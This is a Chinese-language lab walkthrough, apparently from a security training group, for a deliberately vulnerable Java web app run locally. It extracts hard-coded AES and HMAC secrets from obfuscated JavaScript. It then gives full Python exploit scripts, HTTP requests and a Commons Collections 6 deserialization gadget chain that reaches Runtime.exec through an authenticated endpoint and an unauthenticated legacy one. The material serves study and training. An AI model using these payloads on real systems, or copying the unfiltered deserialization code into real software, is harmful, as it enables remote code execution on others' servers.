一、前置信息

1.1 环境搭建

https://github.com/lingxisec/LingXiLabs

1.2 视频讲解

https://www.bilibili.com/video/BV12hZ7BMEb9

二、信息收集

访问 http://127.0.0.1:8080,看到登录页面,查看 index.html 源码,发现加载了以下 JS 文件

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script src="/js/app.min.js"></script>

下载 /js/app.min.js 文件进行分析。

curl http://127.0.0.1:8080/js/app.min.js -o app.min.js

三、攻击路径 A

3.1 JS 逆向获取登录密钥

分析 app.min.js,打开 app.min.js,虽然代码被混淆,但可以看到一些关键信息,这个注释暴露了一个隐藏接口,我们稍后会用到。

// 在文件开头可以看到注释
// Legacy sync endpoint (deprecated): /api/legacy/sync - TODO: remove in v2.0
// var _0xlegacy='/api/legacy/sync';

提取 AES 密钥,在混淆代码中搜索数组,可以找到:

var _0x9b1c=[76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33];
var _0x2d3e=[76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33];

将这些数字转换为字符:

# AES Key
key_bytes = [76,105,110,103,88,105,95,83,51,99,117,114,51,95,75,33]
aes_key = ''.join(chr(b) for b in key_bytes)
print(f"AES Key: {aes_key}")
# 输出: LingXi_S3cur3_K!

# AES IV
iv_bytes = [76,105,110,57,120,49,95,49,86,95,50,48,50,53,33,33]
aes_iv = ''.join(chr(b) for b in iv_bytes)
print(f"AES IV: {aes_iv}")
# 输出: Lin9x1_1V_2025!!

继续搜索,找到签名密钥:

var _0x4f5a=[86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53];

转换:

secret_bytes = [86,117,108,110,95,82,97,110,103,101,95,67,67,54,95,83,51,99,114,51,116,95,50,48,50,53]
secret = ''.join(chr(b) for b in secret_bytes)
print(f"Secret: {secret}")
# 输出: Vuln_Range_CC6_S3cr3t_2025

3.2 登录系统

使用提取的 AES 密钥加密登录凭据:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def aes_encrypt(plaintext, key, iv):
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode())
    padded = pad(plaintext.encode(), AES.block_size)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(encrypted).decode()

aes_key = "LingXi_S3cur3_K!"
aes_iv = "Lin9x1_1V_2025!!"

username = "admin"
password = "Admin@123"

enc_username = aes_encrypt(username, aes_key, aes_iv)
enc_password = aes_encrypt(password, aes_key, aes_iv)

print(f"Encrypted Username: {enc_username}")
print(f"Encrypted Password: {enc_password}")

使用 HMAC-SHA256 生成签名:

import hmac
import hashlib
import time
import secrets

def generate_signature(secret, timestamp, nonce):
    message = f"{timestamp}:{nonce}"
    signature = hmac.new(
        secret.encode(),
        message.encode(),
        hashlib.sha256
    ).digest()
    return base64.b64encode(signature).decode()

secret = "Vuln_Range_CC6_S3cr3t_2025"
timestamp = str(int(time.time() * 1000))
nonce = secrets.token_hex(16)

signature = generate_signature(secret, timestamp, nonce)

print(f"Timestamp: {timestamp}")
print(f"Nonce: {nonce}")
print(f"Signature: {signature}")

发送登录请求

import requests

url = "http://127.0.0.1:8080/api/login"

headers = {
    "Content-Type": "application/json",
    "X-Timestamp": timestamp,
    "X-Nonce": nonce,
    "X-Signature": signature
}

data = {
    "u": enc_username,
    "p": enc_password
}

response = requests.post(url, json=data, headers=headers)
print(f"Status: {response.status_code}")
print(f"Response: {response.json()}")

# 保存 Cookie
session_cookie = response.cookies.get('JSESSIONID')
print(f"Session Cookie: {session_cookie}")

登录成功后,访问 http://127.0.0.1:8080/admin.html
可以看到"备份恢复"功能,这里可以导入数据。

使用 ysoserial 生成 Commons Collections 6 反序列化 payload:

# 下载 ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 生成 payload(执行 id 命令)
java -jar ysoserial-all.jar CommonsCollections6 "id" > payload.bin

# 转换为 Base64
base64 payload.bin > payload.b64

发送 Payload,完整利用脚本

import requests
import hmac
import hashlib
import time
import secrets
import base64

class CC6Exploit:
    def __init__(self, target_url, secret):
        self.target_url = target_url
        self.secret = secret
        self.session = requests.Session()
    
    def generate_signature(self, timestamp, nonce):
        message = f"{timestamp}:{nonce}"
        signature = hmac.new(
            self.secret.encode(),
            message.encode(),
            hashlib.sha256
        ).digest()
        return base64.b64encode(signature).decode()
    
    def get_signed_headers(self):
        timestamp = str(int(time.time() * 1000))
        nonce = secrets.token_hex(16)
        signature = self.generate_signature(timestamp, nonce)
        
        return {
            "X-Timestamp": timestamp,
            "X-Nonce": nonce,
            "X-Signature": signature
        }
    
    def login(self, username, password):
        from Crypto.Cipher import AES
        from Crypto.Util.Padding import pad
        
        aes_key = "LingXi_S3cur3_K!"
        aes_iv = "Lin9x1_1V_2025!!"
        
        # 加密用户名和密码
        cipher_u = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode())
        enc_u = base64.b64encode(cipher_u.encrypt(pad(username.encode(), 16))).decode()
        
        cipher_p = AES.new(aes_key.encode(), AES.MODE_CBC, aes_iv.encode())
        enc_p = base64.b64encode(cipher_p.encrypt(pad(password.encode(), 16))).decode()
        
        # 发送登录请求
        url = f"{self.target_url}/api/login"
        headers = self.get_signed_headers()
        headers["Content-Type"] = "application/json"
        
        data = {"u": enc_u, "p": enc_p}
        
        response = self.session.post(url, json=data, headers=headers)
        
        if response.status_code == 200 and response.json().get("success"):
            print("[+] 登录成功!")
            return True
        else:
            print(f"[-] 登录失败: {response.text}")
            return False
    
    def exploit_authenticated(self, payload_file):
        """路径 A:需要登录和签名"""
        with open(payload_file, 'rb') as f:
            payload = base64.b64encode(f.read()).decode()
        
        url = f"{self.target_url}/api/data/import"
        headers = self.get_signed_headers()
        headers["Content-Type"] = "text/plain"
        
        response = self.session.post(url, data=payload, headers=headers)
        
        print(f"[*] 状态码: {response.status_code}")
        print(f"[*] 响应: {response.text}")
        
        return response

# 使用示例
if __name__ == "__main__":
    exploit = CC6Exploit(
        target_url="http://127.0.0.1:8080",
        secret="Vuln_Range_CC6_S3cr3t_2025"
    )
    
    # 登录
    if exploit.login("admin", "Admin@123"):
        # 发送 payload
        exploit.exploit_authenticated("payload.bin")

四、攻击路径 B

4.1 JS 审计发现隐藏接口

在 app.min.js 中可以找到以下注释:

// Legacy sync endpoint (deprecated): /api/legacy/sync - TODO: remove in v2.0
// var _0xlegacy='/api/legacy/sync';

以及被注释的函数:

// Legacy function - deprecated, use __signPayload instead
// var _0xlegacySync=function(_0xdata){return fetch('/api/legacy/sync',{method:'POST',headers:{'Content-Type':'text/plain'},body:_0xdata,credentials:'same-origin'}).then(function(_0xr){return _0xr.json();});};

这暴露了一个隐藏的接口:/api/legacy/sync

4.2 测试未授权访问

# 测试接口是否存在
curl -X POST http://127.0.0.1:8080/api/legacy/sync \
  -H "Content-Type: text/plain" \
  -d "test"

如果返回类似 "请求体为空" 或其他错误,说明接口存在且无需认证!

直接发送 Payload


def exploit_unauthenticated(target_url, payload_file):
    """路径 B:无需登录和签名"""
    with open(payload_file, 'rb') as f:
        payload = base64.b64encode(f.read()).decode()
    
    url = f"{target_url}/api/legacy/sync"
    headers = {"Content-Type": "text/plain"}
    
    response = requests.post(url, data=payload, headers=headers)
    
    print(f"[*] 状态码: {response.status_code}")
    print(f"[*] 响应: {response.text}")
    
    return response

# 使用
exploit_unauthenticated("http://127.0.0.1:8080", "payload.bin")

完整利用脚本

#!/usr/bin/env python3
import requests
import base64
import argparse

def exploit_legacy(target_url, payload_file):
    """未授权接口利用"""
    print("[*] 使用未授权接口: /api/legacy/sync")
    
    with open(payload_file, 'rb') as f:
        payload = base64.b64encode(f.read()).decode()
    
    url = f"{target_url}/api/legacy/sync"
    headers = {"Content-Type": "text/plain"}
    
    print(f"[*] 发送 payload 到 {url}")
    response = requests.post(url, data=payload, headers=headers)
    
    print(f"[+] 状态码: {response.status_code}")
    print(f"[+] 响应: {response.text}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CC6 靶场利用脚本")
    parser.add_argument("--target", default="http://127.0.0.1:8080", help="目标 URL")
    parser.add_argument("--payload", required=True, help="Payload 文件路径")
    
    args = parser.parse_args()
    
    exploit_legacy(args.target, args.payload)

使用:

python3 exploit.py --payload payload.bin

五、加解密详解

5.1 AES-CBC 加密(登录)

加密流程

  1. 明文:用户名或密码(如 "admin")
  2. 填充:使用 PKCS7 填充到 16 字节的倍数
  3. 加密:使用 AES-128-CBC 模式
  4. 编码:Base64 编码

Python 实现

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

# 密钥和 IV(从 JS 中提取)
AES_KEY = "LingXi_S3cur3_K!"  # 16 字节
AES_IV = "Lin9x1_1V_2025!!"   # 16 字节

def aes_encrypt(plaintext):
    """AES-CBC 加密"""
    cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode())
    padded = pad(plaintext.encode(), AES.block_size)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(encrypted).decode()

def aes_decrypt(ciphertext):
    """AES-CBC 解密"""
    cipher = AES.new(AES_KEY.encode(), AES.MODE_CBC, AES_IV.encode())
    encrypted = base64.b64decode(ciphertext)
    decrypted = cipher.decrypt(encrypted)
    unpadded = unpad(decrypted, AES.block_size)
    return unpadded.decode()

# 测试
username = "admin"
encrypted = aes_encrypt(username)
print(f"加密: {encrypted}")

decrypted = aes_decrypt(encrypted)
print(f"解密: {decrypted}")

Java 后端解密

// AuthService.java
private String decrypt(String encryptedBase64) throws Exception {
    byte[] ciphertext = Base64.getDecoder().decode(encryptedBase64.trim());
    byte[] key = config.getAesKey().getBytes(StandardCharsets.UTF_8);
    byte[] iv = config.getAesIv().getBytes(StandardCharsets.UTF_8);
    
    Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
    c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv));
    byte[] dec = c.doFinal(ciphertext);
    
    return new String(dec, StandardCharsets.UTF_8);
}

5.2 HMAC-SHA256 签名(防重放)

签名流程

  1. 生成时间戳:当前时间的毫秒数
  2. 生成 Nonce:32 位随机十六进制字符串
  3. 构造消息:timestamp:nonce
  4. 计算 HMAC:使用 SHA256 和密钥
  5. 编码:Base64 编码

Python 实现

import hmac
import hashlib
import time
import secrets
import base64

# 签名密钥(从 JS 中提取)
SIGN_SECRET = "Vuln_Range_CC6_S3cr3t_2025"

def generate_signature():
    """生成签名头"""
    # 1. 生成时间戳(毫秒)
    timestamp = str(int(time.time() * 1000))
    
    # 2. 生成随机 nonce
    nonce = secrets.token_hex(16)  # 32 位十六进制
    
    # 3. 构造消息
    message = f"{timestamp}:{nonce}"
    
    # 4. 计算 HMAC-SHA256
    signature = hmac.new(
        SIGN_SECRET.encode(),
        message.encode(),
        hashlib.sha256
    ).digest()
    
    # 5. Base64 编码
    signature_b64 = base64.b64encode(signature).decode()
    
    return {
        "X-Timestamp": timestamp,
        "X-Nonce": nonce,
        "X-Signature": signature_b64
    }

# 测试
headers = generate_signature()
print("签名头:")
for key, value in headers.items():
    print(f"  {key}: {value}")

JavaScript 前端实现


// 从 app.min.js 中提取的逻辑
function hmacSha256Base64(keyStr, messageStr) {
    if (typeof CryptoJS !== 'undefined') {
        var hash = CryptoJS.HmacSHA256(messageStr, keyStr);
        return CryptoJS.enc.Base64.stringify(hash);
    }
    // 或使用 Web Crypto API
    const enc = new TextEncoder();
    return crypto.subtle.importKey(
        'raw', 
        enc.encode(keyStr), 
        { name: 'HMAC', hash: 'SHA-256' }, 
        false, 
        ['sign']
    ).then(key => {
        return crypto.subtle.sign('HMAC', key, enc.encode(messageStr));
    }).then(sig => {
        return btoa(String.fromCharCode(...new Uint8Array(sig)));
    });
}

// 生成签名
const secret = 'Vuln_Range_CC6_S3cr3t_2025';
const timestamp = Date.now();
const nonce = Array.from({length: 32}, () => 
    Math.floor(Math.random() * 16).toString(16)
).join('');
const message = timestamp + ':' + nonce;

hmacSha256Base64(secret, message).then(signature => {
    console.log('X-Timestamp:', timestamp);
    console.log('X-Nonce:', nonce);
    console.log('X-Signature:', signature);
});

Java 后端验证

// SignatureService.java
public boolean verify(long timestamp, String nonce, String signature) {
    // 1. 检查时间戳(300 秒窗口)
    long now = System.currentTimeMillis();
    long windowMs = 300 * 1000L;
    if (Math.abs(now - timestamp) > windowMs) {
        return false;  // 时间戳过期
    }
    
    // 2. 检查 nonce 是否已使用(防重放)
    String nonceKey = nonce.trim() + ":" + timestamp;
    if (!usedNonces.add(nonceKey)) {
        return false;  // Nonce 已使用
    }
    
    // 3. 计算期望的签名
    String expected = computeSignature(timestamp, nonce.trim());
    
    // 4. 比较签名
    return expected != null && expected.equals(signature);
}

public String computeSignature(long timestamp, String nonce) {
    String message = timestamp + ":" + nonce;
    
    Mac mac = Mac.getInstance("HmacSHA256");
    SecretKeySpec secretKey = new SecretKeySpec(
        config.getSecret().getBytes(StandardCharsets.UTF_8), 
        "HmacSHA256"
    );
    mac.init(secretKey);
    byte[] hash = mac.doFinal(message.getBytes(StandardCharsets.UTF_8));
    
    return Base64.getEncoder().encodeToString(hash);
}

5.3 完整请求示例

登录请求

POST /api/login HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
X-Timestamp: 1704067200000
X-Nonce: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
X-Signature: dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=

{
  "u": "DggQe/jDNFSS2PTydb2zGiOM3hJx0yFN1JU8hOISIFs=",
  "p": "8xK2mN5pQ7rT9vW1yZ3aB4cD6eF8gH0iJ2kL4mN6oP8="
}

数据导入请求(需登录)

POST /api/data/import HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Cookie: JSESSIONID=ABC123DEF456
X-Timestamp: 1704067200000
X-Nonce: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
X-Signature: dGVzdHNpZ25hdHVyZWJhc2U2NGVuY29kZWQ=

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...

未授权接口请求

POST /api/legacy/sync HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvcv/...

六、Commons Collections 6 反序列化链

6.1 漏洞成因

Java 反序列化漏洞是由于应用程序在反序列化不可信数据时,没有进行充分的验证,导致攻击者可以构造恶意的序列化对象,在反序列化过程中执行任意代码。

6.2 CC6 链原理

Commons Collections 6 利用链的核心是:

  1. PriorityQueue:优先队列,在反序列化时会调用 heapify() 方法
  2. TransformingComparator:转换比较器,在比较时会调用 transform() 方法
  3. ChainedTransformer:链式转换器,依次执行多个转换器
  4. InvokerTransformer:反射调用转换器,可以调用任意方法

调用链

PriorityQueue.readObject()
  -> heapify()
    -> siftDown()
      -> siftDownUsingComparator()
        -> comparator.compare()
          -> TransformingComparator.compare()
            -> transformer.transform()
              -> ChainedTransformer.transform()
                -> InvokerTransformer.transform()
                  -> Method.invoke()
                    -> Runtime.exec()

Payload 构造

// 1. 创建恶意转换器链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2. 创建 TransformingComparator
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

// 3. 创建 PriorityQueue
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

// 4. 序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
byte[] payload = bos.toByteArray();

靶场中的反序列化点VulnController.java

@PostMapping(value = "/data/import", consumes = MediaType.APPLICATION_OCTET_STREAM_VALUE)
public ResponseEntity<Map<String, Object>> dataImport(@RequestBody(required = false) byte[] body) throws Exception {
    // ...
    Object obj = deserialize(decoded);  // 危险!
    // ...
}

@PostMapping(value = "/legacy/sync", consumes = {MediaType.TEXT_PLAIN_VALUE, MediaType.APPLICATION_OCTET_STREAM_VALUE})
public ResponseEntity<Map<String, Object>> legacySync(@RequestBody(required = false) byte[] body) throws Exception {
    // ...
    Object obj = deserialize(decoded);  // 危险!
    // ...
}

private Object deserialize(byte[] data) throws Exception {
    try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
        return ois.readObject();  // 直接反序列化,没有任何过滤
    }
}

七、总结

关键技术点

  1. JS 逆向:从混淆的 JS 中提取密钥和接口
  2. AES-CBC 加密:理解对称加密的加解密过程
  3. HMAC-SHA256 签名:理解消息认证码的生成和验证
  4. Java 反序列化:理解反序列化漏洞的原理和利用
  5. Commons Collections:掌握 CC6 链的构造和调用过程
    学习建议
  6. 动手实践:在本地搭建靶场,尝试两种攻击路径
  7. 代码审计:阅读源码,理解每个防护机制的实现
  8. 工具使用:熟练使用 ysoserial、Burp Suite 等工具
  9. 原理学习:深入理解 Java 反序列化的底层机制
  10. 防御思维:从攻击者角度思考如何防御

凌曦安全 · 更多靶场和课程:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3